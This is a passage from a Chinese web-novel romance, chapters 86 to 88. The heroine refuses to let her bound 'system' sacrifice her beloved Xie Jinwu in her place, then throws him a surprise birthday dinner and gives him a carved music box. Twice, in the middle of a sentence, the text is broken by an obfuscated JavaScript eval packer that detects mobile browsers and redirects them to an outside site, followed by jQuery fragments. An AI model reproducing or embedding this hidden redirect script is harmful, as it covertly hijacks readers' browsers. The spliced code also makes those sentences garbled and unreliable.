他现身说法,纵使性情再冷漠疏离,一旦真情流露时,那种情意缠绵的杀伤力也着实不小。 叶清圆笑起来:“嘴巴这么甜呀。” “甜吗。”谢尽芜抬起眼定定看着她,立刻讨巧道,“有奖励吗?” 她故意装作听不懂他的暗示,苦恼道:“可是我没有什么礼物能送给你了。” 谢尽芜的呼吸放轻了,很小幅度地抬了抬下巴,目光在她唇上止不住地逡巡。 叶清圆抬眉笑了笑,扭过脸去,不慌不忙地对镜抹了口脂。 红润馨香的口脂涂在她柔软的唇瓣。 这或许是不亲的意思吧。 谢尽芜被无声地婉拒了,心里不禁有些失落。 面上却忍住了没有显现出来,还伸手帮她理了理裙摆。 片刻后,叶清圆终于将自己捯饬好。 她站起身,扯了扯谢尽芜的衣袖,在他不明所以低头望过来的时候飞快揽住他的脖颈,在他唇上吻了一下。 现在,那红润馨香的口脂也沾在他唇上了。 谢尽芜下意识地伸出舌尖,舔了舔唇。 “……好吃吗?” 这口脂是由花瓣制成的,沁润馨香。 他的喉结滚了滚,似乎是咽下去什么东西,“嗯。” 叶清圆扭过脸去,脸颊染红,对他这种腻歪又坦然的态度简直钦佩至极。 “……那这一盒都给你罢!” 86. 任务 近日无雪,晴雪院外阳光明暖,青松寂然。 叶清圆在晴雪院外的松树林里捡松果,干燥冷冽的风吹过松枝缝隙,拂起她衣领处雪白的毛边。山风很冷,可是今日的阳光太过明媚,她在松树林里转了好久,身上反倒是热乎起来。 实话讲,这是她自穿越以来,度过的最为平和的一段日子了。 许家庄的百姓们避世而居,没了外界的纷乱,恰好心无挂碍,怡然自得。 可惜这份难得的平静,怕是很快就要被打破了。 心影的出现昭示了渡真世家已经注意到冽雪山谷之事,许雁含又在山谷外见到了渡真的人。可关键人物顾雪庭至今下落未明,江云初自被打伤之后也不曾有消息传来,这一副本的任务进度目前究竟是多少,系统至今也没有相关的提示。 叶清圆一时愁闷,随着剧情的发展,她的主线任务也该提上日程了。 作为炮灰女配,她是要给原书女主江云初替命的。 谁能料想到,她好不容易才走完了这么多剧情,结局却是要替江云初去死呢? 她活得好好的,每天吃好喝好睡得也好,她锻炼规律,写符也刻苦,脸上常常洋溢着明媚的笑容。 原身那副委顿寡白的病秧子模样也消失了。她的身体素质逐渐提高,身形修长而匀称,眼珠漂亮,眸光温和而坚定,脸颊泛着健康的红润光泽。 这一切都是她认真生活的结果。 叶清圆不想为江云初替命。 她在原本的世界里早已销声匿迹了,好不容易才有了全新的开始。她遇到了谢尽芜,遇到白璟,遇到许雁含,她在这个世界留下了许多痕迹,投入了许多真情,她不想这一切都幻化为泡影。 叶清圆满肚子的憋闷冤屈无处可诉,愁得折了松枝在土地里使劲戳了好几个洞。 泥土松软,裹着清新的草木气息。松树下还零落着未化的冰雪。 山风清新凛冽,可她却觉得乌云罩顶,胸口愁闷得快要喘不过来气。 片刻后,她直起腰思量,像是想起什么,把系统唤了出来。 “现在谢尽芜对我的好感值有多少?” 系统莹蓝光芒一闪:“角色【谢尽芜】当前对宿主的好感值是95%。恭喜宿主即将完成主线任务二!” 或许是她的任务完成度比较高,系统也对她柔声细语起来:“请宿主再接再厉,待完成任务之后,宿主就可以重获自由啦。” 叶清圆的手一顿,喃喃道:“重获自由啊……重获自由之后,我要去哪里呢?” 系统思索片刻,尽职尽责地回答:“宿主将会与系统解除绑定,同时获得一笔足够生存的资财作为任务奖励。至于之后的安排,宿主可以自己决定。” “总之还留在这个世界,对吗?” 系统:“不一定哦,宿主可以挑选自己喜欢的小世界作为奖励。系统会在宿主完成任务之后将宿主传送过去。” 听起来似乎不错。叶清圆先前无聊翻控制面板时见到过这些界面,雪山长河、海岛沙滩,还有幽幽青山,都是舒适且完全的生活地点。 就算走不了,她也可以将这系统奖励的资财当做启动资金,去做些小生意什么的。还可以做个云游道士,测字打卦那些她不懂,但她现在符纸画得挺不错的,还能给人驱邪除祟,赚点小钱。 无论如何,她的前途听起来都是一片坦途。 可是…… 谢尽芜呢? 她来到这个世界的任务之一就是要攻略谢尽芜。那之后呢,谢尽芜没有黑化,或许也不会滥杀,不会自刎,那他的结局是什么? 叶清圆在松树下的山石坐了一会儿,手指摆弄着那根松枝。温暖静谧的冬日暖阳从松枝的间隙漏下来,形成了一个个明亮的光柱,有尘埃在光柱中飞舞。 “我有个问题想要问你。” 系统:“宿主请讲。” “我在这个世界里总共有两个主线任务,对吧?” 系统:“是的。主线任务一:给江氏独女江云初替命,宿主穿越之后自动触发该任务。主线任务二:攻略反派谢尽芜。” 叶清圆很安静地思索了片刻,补充道:“提示二:若先完成主线任务二,则主线任务一无效。” 系统的机械音里染上些笨拙的笑意:“恭喜宿主,只差5%的好感值,宿主就可以完成任务二,同时获取让任务一失效的权限了。” 它说话的语气似乎比以前染了点人味,有了语调的变化,不再那么冷漠,可是笑起来却有种伪人的惊悚感。 叶清圆的眼中却半点笑意都无,也没有即将完成任务的喜悦感。她的声音很平淡,眼睫低垂,琥珀色的眼眸中甚至还有些不安。 让主线任务一失效…… “这是否可以理解为,若我攻略了谢尽芜,他就会替我去完成任务一?” 简而言之,完全被攻略的谢尽芜,会为了保全她的性命,而心甘情愿地去送死。 系统出声道:“哎呀,宿主真是聪明呀。在下正是此意。” 叶清圆的脸上没有半分意外,唇边甚至浮现出一抹极淡的笑容。 果然如此。 谢尽芜此人,在外人面前端的是一副云淡风轻、端方疏离的模样,实则是自小缺爱敏感、又遭逢巨变而造成了一定程度的心里扭曲。他倔强又偏执,强势却别扭,前期摇摆不定、反复试探,可一旦他真的认定了某样东西就誓死都不会放手。 就像他对叶清圆的态度,虽然总是缠着她说些喜欢不喜欢、爱不爱的酸话,看起来好没有安全感的脆弱模样,可她若真的狠下心来说不爱他,不要他了,他肯大度放手吗?绝不会的。 叶清圆多次言明自己对他的喜欢,可他还是照样乱吃飞醋、虚空索敌。 纵使他要把自己委屈成那个样子,却也执拗地天天缠着她要牵手,要拥抱,要反复确认自己在她心中的分量。 谢尽芜的想法是什么?叶清圆可以不爱他,但也不准多看别人一眼。 这样偏执的性情,若说他为了她连性命都肯舍弃,又教人不得不信。 叶清圆垂着颈子,心中止不住一阵酸涩。 其实她对此早就有猜测,只是潜意识地逃避,不愿去想罢了。如今听系统给予了肯定的答复,她心中倒是有种尘埃落定的感觉。 叶清圆的睫尾颤了颤,笑道:“我放弃。” 这下系统倒是懵了:“宿主要放弃什么?” “放弃让主线任务一失效的权限,”叶清圆的声音清脆,“我不要谢尽芜替我完成任务一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14856432|154043||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” 她自觉替命这种事已经足够不公平。若是她今后的安稳人生还需要爱人的性命做基石,那么这安稳日子她也不要。 系统沉思良久:“在攻略任务已经完成的情况下,如果放弃,宿主将会承受无法估量的代价。” 叶清圆懂,她这么做其实等于违反了系统规则,当然要受到惩罚的。 系统顿了一下,提示道:“参照以往的处罚案例,宿主若故意违反系统规则,将会视情节严重程度而受到相应的惩罚。若情况较轻者,可能面临一到两年的刑罚,期间宿主还可以通过做任务来减轻处罚。但若情况严重的,将会被修改命格。” 如何修改?无非是命格降损,从圆满安乐沦落为病灾苦难。 叶清圆忍不住腹诽:你们还挺会玩的,惩罚方式都跟原本世界里的坐牢差不多。 系统道:“情谊诚可贵,却并非人生的全部。系统希望宿主可以做出最聪明、最冷静的选择。这样吧,系统可以向上级申请一下,为宿主发放更多的资财作为奖励……” 叶清圆抬手打断它:“人活这一辈子若是连真情为何物也不懂,也不珍惜,那活在这世上还有什么意义?我叶清圆活了这么些年,虽然从来没有那种舍己为人的奉献精神,可是我也绝不会眼睁睁看着他为了我而丢掉性命。” 系统:“……宿主考虑好了?” “好了,”叶清圆说,“你讲的所有后果,我都可以接受。” 只要谢尽芜好好活着。 说完这句话,她整个人的状态都轻松了许多,像是丢掉了肩头一个大大的包裹。 系统沉默良久,“好的。” 叶清圆起身,将捡好的漂亮松果都包在帕子里,步伐轻盈地回了晴雪院。 冬日温暖的阳光照在她松软的发梢,泛起淡金色的光芒。 虽然这只是一本书。 他们都是书中的角色而已。 可是她一路走来,在陪伴谢尽芜理清线索的过程中,也逐渐地、真切地融入了这个世界。 这是无法舍弃的一段时光,是她成长过程中的不可分割的一部分。 因为他们都亲身参与过,经历过,那些副本便不再是文字的粗糙描述,而是被他们亲手赋予了更厚重的意义。 这本书最终版本的主角甚至都不是谢尽芜。 他是被雪藏的主角,甚至是个连原作者都默认的反派。 叶清圆也曾经觉得不公平,替谢尽芜而感到不公平。 可哪有那么多公平可言呢? 对她而言,谢尽芜早已是不可代替的人了。 她凭借自己的双手,拨开袅袅云雾,穿过重重阻隔,牵住他的手,坚定地将他带到了自己的身边。 如获至宝。 她也不是留恋这个波谲云诡的世界。 她只是很喜欢谢尽芜,仅此而已。 因为喜欢,所以想要陪伴。 系统静默,无言以对。 它不明白,宿主这种行为在它看来极为不理智,甚至堪称愚蠢。它经历过许多任宿主,却都不曾遇到过这么……这么执着的宿主。 或许也正因如此,宿主才能攻略到谢尽芜。 莹蓝的光忽闪忽灭,良久之后,系统才隐匿了身形。 87. 惊喜 叶清圆开始缠着谢尽芜要学剑术身法和一些防身技巧。他们有时会在院子里过招,她持谢尽芜的佩剑,谢尽芜则是随手折一道梅枝。两人不较高下,点到即止。 试招之后,往往满地碎雪如霰,他手中的梅枝却依旧虬曲,红梅花瓣点缀其上,没有半点破碎。 叶清圆将剑还给他,转身坐进廊檐下的藤椅中:“手腕疼,不打了。” “好。”谢尽芜收剑入鞘,牵着她的手腕悉心揉了揉,有些心疼,“手指怎么也磨红了?我使的力气还是大吗?” 叶清圆有些心虚地收回手:“什么呀,别太小瞧我了。你快说说,这段时日我的剑法可也有了进步?” 谢尽芜很认真地思索片刻:“下盘比之前稳了许多,但手臂和腰部还是无力。” “足够防身吗?” 谢尽芜诚恳道:“差很远。” “……也行。” 至少与以前相比进步了许多,身体素质还是强了不少的,还学会了许多近身格斗的技巧。 谢尽芜将那截梅枝放进瓷瓶中,掌心拢住她的手:“我还是建议你使用符咒,不要用这些拳脚功夫。” “为什么呀?” “不想让别人碰脏了你的手。”谢尽芜垂下眼睫,声音轻柔,“而且我会保护你的,你只要不离开我就好。” 叶清圆皱眉:“又在说些胡话。” 上次睡了一觉之后,谢尽芜的确是安稳了几天——至少不再像以前那样患得患失,净说些自轻缺爱、可怜兮兮的话。可当他摸清了叶清圆的脾气之后,仗着她的喜欢和纵容,现在竟像是走入了另一个极端,寸步不离、耳鬓厮磨都无法满足他似的,有事没事就爱缠着她亲来亲去,偏他亲吻时不甚安分,唇齿啃噬凶狠得就跟要吃人一样。 ——起初或许是无意的。后来发现叶清圆不怎么恼他,索性更得寸进尺。 叶清圆是无论如何都意料不到,谢尽芜看着挺端方寡欲的人,竟然有两副面孔。在外头他还是那般清心寡欲,哪怕牵个手都要脸红好久,私底下却是这副要命缠人的模样。 她正琢磨着要不要给谢尽芜立个规矩,比如不许用牙咬什么的,却忽然想起一事:“对啦,雁含妹妹今晚要来一起吃饭,我们要多做些好吃的。” 谢尽芜颔首:“你想吃什么?” “人家雁含妹妹来做客,你要照顾客人的口味。”叶清圆道,“我都提前问好了,她最喜欢吃辣。” 她眼珠一转,有了主意:“不如这样吧,我们就做五辣醋羊,间笋蒸鹅,辣菜青玉粉,凉拌琼丝,还有蜂蜜鲜虾球。酒就暂时不必准备了,雁含妹妹说她来安排。我们备茶就好。” 她说起美食来眉眼灵动,越说越开心。阳光从高处泼洒下来,她的发顶发梢被照得如琥珀般好看,面容亦生动漂亮。 谢尽芜眼睛一眨不眨地望着她,眼中含笑道:“还有吗?” 叶清圆道:“还想吃紫李。” 这倒有些为难,如今寒冬腊月,他上哪里弄紫李去? 谢尽芜却缓缓点头:“好,我想想办法。” “你去酒馆问问嘛。”叶清圆伸出手,温热的手心覆在他的手背上,反被他握住了。 “好,若是酒馆里也没有……” 叶清圆笑意盈盈地将下巴磕在他的肩膀,“那就不吃了呗,屋里还有橘子呢,凑合凑合也行。” 谢尽芜若有所思地看她,两息后,低头给了她一个吻:“不行,不要凑合。” 要给就给最好的。 “行啦。”叶清圆推开他,起身整了整衣裙催促道,“快去酒馆问一下,太阳都落山了。” 谢尽芜被成功地支走了。 他到枫林酒馆问了一圈,果真这个季节买不到紫李。出酒馆时西边天空红霞似火,他朝着相反的方向而去,直走到了红枫林中,才取出一块黑金玄铁腰牌,注入一道灵力。 那腰牌上刻有“取舍”二字,下方满是黑龙鳞的纹路,暗金光芒闪过,一道朦胧人影显露在林中雪地。 “谢公子,别来无恙。” 谢尽芜颔首道:“李庄主,先前拜托之事办得如何了?” 李秋暝笑道:“已经按公子的心意修建完毕,只差那道阵法。谢公子,恕在下直言,那阵法牵涉的范围太广,布置下来难度可不小。” “若缺什么,直接从我的户头划便是。” 李秋暝朗声笑道:“倒不是因为这个,只是耗费的时间或许要超出公子的预期了。” 谢尽芜名下产业、钱庄和地皮自六年前就交给他亲手打理,后来又合了白灵宣和谢拱辰名下的资财。谢尽芜平日里风餐露宿到处出任务,根本无暇管这些,就全权交给他处理。 年底时利润对半分,另外再拨给他一笔打理的费用,每年他拿到手的都不是一笔小数目,何尝再敢开口奢求别的? 这六年里,谢尽芜对取舍庄的事从不过问,也毫不关心他名下还有多少资财。李秋暝每月都通过这块黑金腰牌给他报账本,可惜从不曾得到回复。 这修建山馆一事,说起来还是谢尽芜头一回主动找他。 “慢一些也无妨。”谢尽芜颔首表示理解,随即道,“我此次找你,是为了另外一件事。” 李秋暝眼睛霎时亮了:“公子请讲。” 谢尽芜道:“查一查此地附近是否有取舍庄。若有,派人送来些紫李。” 李秋暝以为自己听错了:“……啊?” 取舍庄除了藏有法器灵石、奇珍异草之外,确实还有一道布了阵法的库房专门用来保存时令蔬果,反季时以高价供给那些富贵闲人们。 但若是谢尽芜提出这种要求,就有些惊悚了。 谢尽芜补充道:“若有别的,也一应送来。山外那道河不好渡过,记得去请住在河畔的那位渔夫。” 李秋暝深知不该多问,颔首应道:“冽雪山谷往南二十里有取舍庄,预计半个时辰后可以送到公子手中。” 谢尽芜道好。 他将黑金龙纹腰牌收好,转身就要回晴雪院准备晚膳,经过枫林酒馆的时候却再次被拦住了。 许雁含小跑着追过来,有些胆怯道:“那个,谢公子,可以帮我个忙吗?” 谢尽芜对外人并没有同情心泛滥到这种程度,况且他此刻赶着回去做饭,没工夫浪费时间。 不过这位许姑娘毕竟是清圆的好朋友,干脆拒绝也不好,于是颔首道:“请讲。” 他本来相貌就冷,此刻垂下眼睫看人时,更显出几分冷淡与疏离。 许雁含顿时紧张起来:“我在挑酒呢,还有些纠结,不知该选什么才好。可否请谢公子给些建议……” 谢尽芜觉得很莫名其妙。他蹙起眉,眼瞳幽冷:“姑娘自己挑选即可。” 许雁含被他噎了一下,也不气馁:“是,我是想问,不知清圆姐姐平时喜欢喝哪种?” 谢尽芜本身对酒没什么兴趣,只无意间听叶清圆提起过,枫林酒馆中有种酒名为“蓼红”,颜色如春花般糜艳。 他淡声道:“蓼红吧。” 许雁含笑道:“啊,我想起来了,先前清圆姐姐的确是这样说过。” 谢尽芜嗯了一声,正迈步要走,酒馆的菱花格子窗被人从里头推开,一位头发花白的老婆婆唤道:“公子留步,请来酒馆说话。” 此时天际最后一线余晖也消逝了,幽蓝逐渐染上天幕。 谢尽芜本想拒绝,可那老婆婆神色惶急像是有什么要紧事,甚至搬出了叶清圆:“清圆丫头说你面冷心热,叫我们若有麻烦不必生分,可向公子求助。公子定是会帮我们老婆子的。” 这下不留不行了。谢尽芜推门进去,竟听那老婆婆说自己夜晚总有梦魇,他可否写一道符,助她除祟辟邪。 这没什么难,谢尽芜颔首应下。那老婆婆当即笑道:“我就说嘛,这位小公子瞧着不近人,其实心底很善良啊。” 谢尽芜没来由被她一阵夸,惊得眼眸都睁大了些许。 老婆婆不仅自己夸,还带着其他人一起夸。说来也难得,谢尽芜本身就相貌过于出众,净白清隽,眉眼端正,平日里性情是冷了点,可办起事来却妥帖合礼。这样的后生在老一辈的眼光中其实是最受待见的,没有任何花言巧语,只闷头办事,实在。 他不常往酒馆里来,叶清圆却是这里的常客,在她不遗余力的夸赞和润色中,谢尽芜简直就是完美的君子模样,阶庭兰玉、清隽无双。 因此,酒馆的客人们对谢尽芜的印象都很好,此时有老婆婆开了个头,其他人也都纷纷投来赞赏的目光。谢尽芜活了十九年里有大半时光都在处理恶徒和妖鬼,从来没有直面过这么多善意和好意,一时之间直接愣在了原地。 老婆婆们笑了一会儿,说他这样好那样也好,谢尽芜听 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14862071|154043||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 得如坐针毡,耳根子都被夸红了,忙不迭起身告辞。 待出了枫林酒馆,才发现许雁含怀中抱着两坛酒,笑呵呵地跟在他身后。 谢尽芜走了两步,才蓦地反应过来:“许姑娘不是也会画符么?” 许雁含脸上笑意一僵,找补道:“我画的符不顶用啊,这些老婆婆们不信我。” 谢尽芜思索片刻后,微蹙的眉心竟舒展开来,道:“清圆让你拖延多久?” “啊?不是、我没有。”许雁含大惊失色,待看到他清透了然的眼眸后,旋即放弃了挣扎,承认道,“谢公子,你从哪里看出来的?” 谢尽芜偏过脸,步伐不紧不慢往晴雪院走去:“你们的手段太拙劣了。” 话虽如此说,可那双幽冷的眼瞳中还是染了笑意。 因为喜欢,所以她的所有小聪明在他眼中都是灵动可爱。纵使拙劣,他依旧满怀期待,满心欢喜。 许雁含讪讪地跟上,怀里的两坛蓼红散发出浓烈的花香。 “其实,清圆姐姐也是想……” 谢尽芜打断她:“不必告诉我。” 既然叶清圆想给他准备惊喜,那么他就配合到底。在她亲口告诉他之前,他都不会知晓这个惊喜是什么。 谢尽芜:“待会进门之后就按照她的安排进行,不要让她知道我已经看出来了。” 许雁含笑道:“嗯,好!” 一路无话。 快走到晴雪院的时候,谢尽芜抬眼看到厨房烟囱里冒出的炊烟,特意停了一下,回身问道:“我现在可以进去吗?” 许雁含算了算时间,点头:“可以的!” 谢尽芜颔首,抬手推门。 绕过照壁,拐一道弯,竟见叶清圆哗啦掀开厨房的门帘子,满脸狼狈地冲出来呛咳个不停。 油爆辣椒的味道紧跟着冲了出来,厨房像是被炸了似的。谢尽芜将她扶到一旁藤椅上,“厨房里有人看着吗?” “有,白璟在呢。”叶清圆怔怔地,咳得满脸都是泪花,“你怎么回来这么快?” 她一眼望到站在树下、神情无措的许雁含,懊恼道:“早知道就早些准备了,没想到做这几道菜要费这么久。” 谢尽芜抬袖为她拭去脸上的泪痕,安抚道:“受不了这个味道就歇息一会,我去厨房里看看。” 他话音刚落,里头白璟高声道:“不用来!全都做好了,诸位收拾饭桌准备开饭!” 许雁含进了花厅,将酒坛子放在圆桌上。 叶清圆在院子里吹了半分钟的风总算缓过气来,谁知一抬眸,白璟端着木托盘意气风发地就出来了。 他身处满是辣椒气的厨房竟毫无动容,脸上甚至带着属于大厨的骄傲微笑,简直是天生的做饭圣体。 许雁含也对他的特殊体质惊叹不已,凑上去问道:“白璟哥哥,你不觉得这味道挺辣眼睛的吗?” 白璟摸不着头脑:“辣什么眼睛?咱不说那些俏皮话了啊,快来端菜!” 说罢,一转身又掀帘进了厨房。 谢尽芜与叶清圆对视一眼,俱是忍不住笑了出来。 她的眼睛方才流了些眼泪,此时也亮晶晶的,脸颊还抹了一道灰,连裙子都弄脏了,狼狈极了。 谢尽芜伸手动作轻柔地替她将那道灰擦干净,轻声道:“这是你们为我准备的惊喜吗?” 叶清圆羞惭道:“才不是!这只是出了一点小意外。” “好,那我就拭目以待,”谢尽芜也笑道,“你去屋里坐吧,我去厨房。” 没一会儿菜都上齐。整张圆桌都摆满了,这一桌的菜式大有讲究,不仅是荤素搭配、口味多样,连配色都讲究个漂亮雅致,碗底、碟子底都是精挑细选了不同材质、不同花样的,就追求一个极致。 谢尽芜半是好笑半是茫然地看着他们忙来忙去,实在没算到这“惊喜”是什么。 这一桌子饭菜么? 他的视线在饭桌扫了一圈,认出那道炒菜心和蜂蜜虾球是她做的。 到最后各自落座、倒酒,三人俱是坐得端正,眉眼含笑,温和地望着谢尽芜。 叶清圆坐在他的身旁,眼中笑意最深。 谢尽芜发现她不知何时竟换了一身新的衣裙,粉面如蕊,含情带意,连柔软的发间都簪着他送的那支桃花小簪。 叶清圆举杯,柔声笑道:“谢尽芜,生辰快乐。” 88. 木雕 谢尽芜迷茫地看着他们,净白的脸庞上现出错愕:“什么生辰?” 白璟惊呼道:“哥,今天是你的生辰,你忘啦?!” 谢尽芜后知后觉地把视线投到叶清圆身上,殷润乌黑的眼眸中很难得地无措:“是吗?” 白璟和许雁含异口同声:“是呀!” 叶清圆忍不住笑:“自己的生辰,都忘记了吗?” 他确实记不得。 很小的时候在流光山馆中也过生辰,小孩子对年月没什么概念,只懂得有好吃的好玩的。等到他在外流浪、进入希夷殿之后,满脑子却只有“活命”和“变强”两个词,多活一天都是赚。刀尖上舔血的日子过久了,人就不会有余力再去想别的,也不知道所谓的生辰是什么了。 可是他们为何会记得? 叶清圆端来一碗热腾腾的长寿面,还卧了一个金澄澄的蛋,汤里飘着葱花:“面是我煮的,鸡蛋是白璟弟弟从鸡窝里掏的。” 谢尽芜道:“……家里什么时候有的鸡窝?” “南边田垄里杏花树下的,路过顺手就掏了。”白璟很坦然,“现掏的,打的时候还热乎着。” 许雁含在桌面下给了他一手肘:“那是翠萍婆婆养的鸡!” 白璟摸了摸鼻子:“好嘛,明日我提着东西去赔礼就好了嘛。” 谢尽芜也是无奈。他接过碗来,碗是小碗,面量也就够垫肚子的,毕竟只是讨个好彩头,也不指望一碗面能将人打发了。 他首先捞了面吃,随即两口将鸡蛋和汤汁一块吞下了肚,在众人殷殷期盼的目光下评价道:“不错。” 白璟和许雁含当即就笑了出来。叶清圆却是松了一口气,面条其实不太熟,她途中忘记了添水,不过幸好谢尽芜没有吃出来。 谢尽芜的眼睫扇了扇:“这是你们准备好的惊喜吗?” 话音落下,三人笑道:“本来该筹划得更精密的,哎呀,失策了!”“饭菜都做得挺好啊。”“就是就是!” 白璟嘿嘿一笑,转而举起酒杯对谢尽芜道:“哥,生辰快乐。我就不废话了,直接干。” 许雁含也笑着举起酒杯,隔着满桌佳肴向他小声道了贺。 谢尽芜递过酒盏与他们一碰,一饮而尽。 有他们两个吵吵闹闹,饭桌上很快就热闹起来。谢尽芜喜静,此刻却也并不抗拒,脸色相较之前还柔和不少,眼底甚至有点点笑意,只是依旧寡言疏离。 他被簇拥在中心,叶清圆紧挨着他的身旁,“蓼红”的浓郁花香衬着桌上佳肴珍馐,灯烛明暖,笑声阵阵,恍惚间有种家的感觉。 酒过三巡,叶清圆像是突然想起什么来,轻声道:“过生辰是要许愿望的。” 她眼中笑意轻柔如水:“小谢哥哥有什么愿望吗?” 谢尽芜觉得她是有些醉了,否则也不会当着白璟和许雁含的面就唤起他“哥哥”来。他的眼睫垂下,目光在她略显迷离的眼眸和红润唇瓣上逡巡过,低声道:“现在还没想好。” 叶清圆点头说好,那你慢慢想嘛,不着急的。 杯子里的酒空了,她又伸长手臂去够那坛蓼红。谢尽芜看着她衣袖卷起露出的那截皓白手腕,乌浓的眼睫扇了扇,复又垂下。 中途有取舍庄执事叩门,送来了足足八箱新鲜水果,除了紫李之外还有荔枝、樱桃、香瓜等。叶清圆站在清辉泼洒的院子里,看着满地的竹编篮子,心下震惊。 最后还是决定将吃不完的分给许家庄的百姓们。 这顿饭吃了将近一个时辰,中途白璟叫那两个侍从将空掉的餐盘撤下,换了洗净的瓜果上来。四个人围成一桌,多好的打麻将的机会呀,可惜谢尽芜不会玩。 谁也没料到白璟这么话痨,偏他讲话甚是好笑,没两句就逗得众人笑个不停。总归今日是谢尽芜的生辰,饭桌上没人再训诫他“食不言”,他随心所欲些也无妨。 白璟讲笑话讲累了,以手支颐,醉得双目迷离,却还强撑着精神道:“哥,你知道为何我会记得你的生辰吗?” 这场桌宴是叶清圆的主意,可她一开始也不知谢尽芜的生辰具体是什么时候,系统也没有提示,便只好去问白璟。她本来没抱多大希望,毕竟白璟出身渡亡世家,而谢尽芜又与他甚少往来,可谁知白璟坐那里想了一会儿,竟还真的说出个日子来。 谢尽芜抬眼看他,目光清明,脸容胜雪,好一副端方君子的做派。 然而桌面之下,他的手指却穿过叶清圆的指缝,扣住她的手背,与她十指紧紧相扣,掌缘还故意落在了她的大腿上。 白璟道:“家里有一处院子,名为逢春院,是灵宣姑姑曾居住过的地方。我很小的时候,每年的六月初五和十一月廿七,族中长辈都会派人置了礼物送往逢春院。可是我不明白,那里根本没有人居住啊。” 他嘿嘿笑道,“后来嘛,才知道那时没人知晓姑姑去了哪里,族中长辈思亲却无处找寻,便只好将为你们准备的生辰贺礼都送到逢春院。” 白璟抬头看着谢尽芜,低声道:“其实大家都很想念你们的。可是我也不知道后来为什么、为什么就那样了。姑姑也不许你们回家,是为了避嫌吗?还是又发生了什么别的事情?好多年了,父亲其实也一直在找你。直到五六年前,取舍庄的李庄主过来禀报说,姑姑和姑父名下资财全部合到了你的名下,我们才知道你还活着。” 渡亡世家面上是不喜结交,性情疏离冷淡,实则不过是懂得明哲保身。那时的白灵宣和谢拱辰可是被世家联合围攻,渡亡再护短、再疼爱这个心思玲珑的姑娘,也敌不过家族的整体利益。 后来白灵宣和谢拱辰的死讯传出来,他们默认谢尽芜也跟着死了,干脆放弃寻找。 这么多年过去,也就是白令勋等人还私下里找一找他。可是阿楚和青松也太有本事,藏得真严实,愣是没叫他们发现半点蛛丝马迹。 所以,渡亡对谢尽芜不是不在乎,只是大势摆在那里,谁也无可奈何。 谢尽芜静静听着,浓纤的眼睫垂下,神情是淡笑中带着些许漫不经心。 此时再听这些迟来的关怀与想念,却好像是在听别人的故事。 说到底,本身就是可有可无,心冷了太久,至今也没什么所谓。 谢尽芜端起酒杯,饮了一口,遮掩住眼中冷冰冰的情绪。 白璟见他并不表态,心中也不免落寞惆怅,可上一辈的恩怨他其实也云里雾里,此时出言示好,也是他尽力为之。于是不再强求,挠了挠头与许雁含喝酒说大话去了。 叶清圆捏了捏他的手指,眼中笑意零星:“好喝吗?” 谢尽芜垂眼凝视她一阵,“应该会很衬你。” “嗯?”叶清圆疑惑,“你醉了?” - 白璟确实醉得一塌糊涂,脚步虚浮地被许雁含扶去房里歇息。两个侍从收拾桌上残局,叶清圆坐在廊檐下的竹藤摇椅,腿上披了一张薄毯,手中捧着暖炉,目光涣散地想醒醒酒。 谢尽芜坐在她对面的圈椅,煮了醒酒茶给她喝。 没过一会儿,许雁含从楼上下来了。 她与谢尽芜接触不多,此时讲话便客套许多:“谢公子,生辰快乐。这是我和白璟哥哥准备的礼物。” 说着,递来一只颇为精致的锦盒。 谢尽芜接过锦盒,颔首道谢。许雁含松了一口气,转向叶清圆时神情就自然许多,笑吟吟地道了别。 叶清圆醉得头晕,目送着那道身影离开后,才撑着脸望向谢尽芜:“不打开看看是什么吗?” “比起这个,”谢尽芜将锦盒随手搁在茶桌上,掌心却按在她的手腕,“我更想知道,你会送给我什么礼物。” 他的掌心很热,手指按在她的腕骨上,指腹摩挲。 叶清圆怕痒,笑着收回了手,没回答,却先问了一句:“你想要什么礼物呀?” 谢尽芜很想抱着她,可她窝在竹编摇椅中懒洋洋地又不肯动弹。 他垂下眼睫,手指从腕骨的位置滑进她的袖口,触碰到那一小片温热柔腻的肌肤,指腹稍稍加了些力气,“我想要的……不方便说出来。” 叶清圆怔愣地反应了一会儿,蓦地脸红道:“不正经!” 她果断地抽回了自己的手,不再惯着他这种腻歪的小动作,转而从摇椅后取出一只木盒:“打开看看。” 谢尽芜一触到这盒子就感知到了灵力,应是施了符咒。他听话地打开来,入眼即是一阵沁润的亮光,盒子里有两个木雕的小人,一站一坐。 是春花满山坡。锦衣玉带的谢尽芜坐在浅草繁花中,浑身笼着一层和煦明媚的阳光。他扬起脸笑,一双漂亮殷润的眼睛弯成了月牙,是堆金砌玉、如冰似雪的小少年。 山坡上还有一位姑娘,她穿绛纱襦裙,披帛飘飞如云。她张开双臂,柔软的发尾和裙摆都被微风拂起,有深深浅浅的红色花瓣萦绕飞旋在她的周身。 谢尽芜的目光落在姑娘的身上,忽地笑了,“这个是你。” 这是按照八音盒的样式来制作的,幸好叶清圆以前学过一段时间的篆刻,上手比较快,最终呈现的效果也还不错。 木柞小盒的底部刻了符咒,作点灵之用。 虽是木雕,可那景色与阳光俱叫人宛如身临其境般真实,春日的微风与花香,温和明媚的阳光都好似扑面而来。 叶清圆伸出双手,手心贴住他的手掌,语轻呢喃:“喜欢吗?” 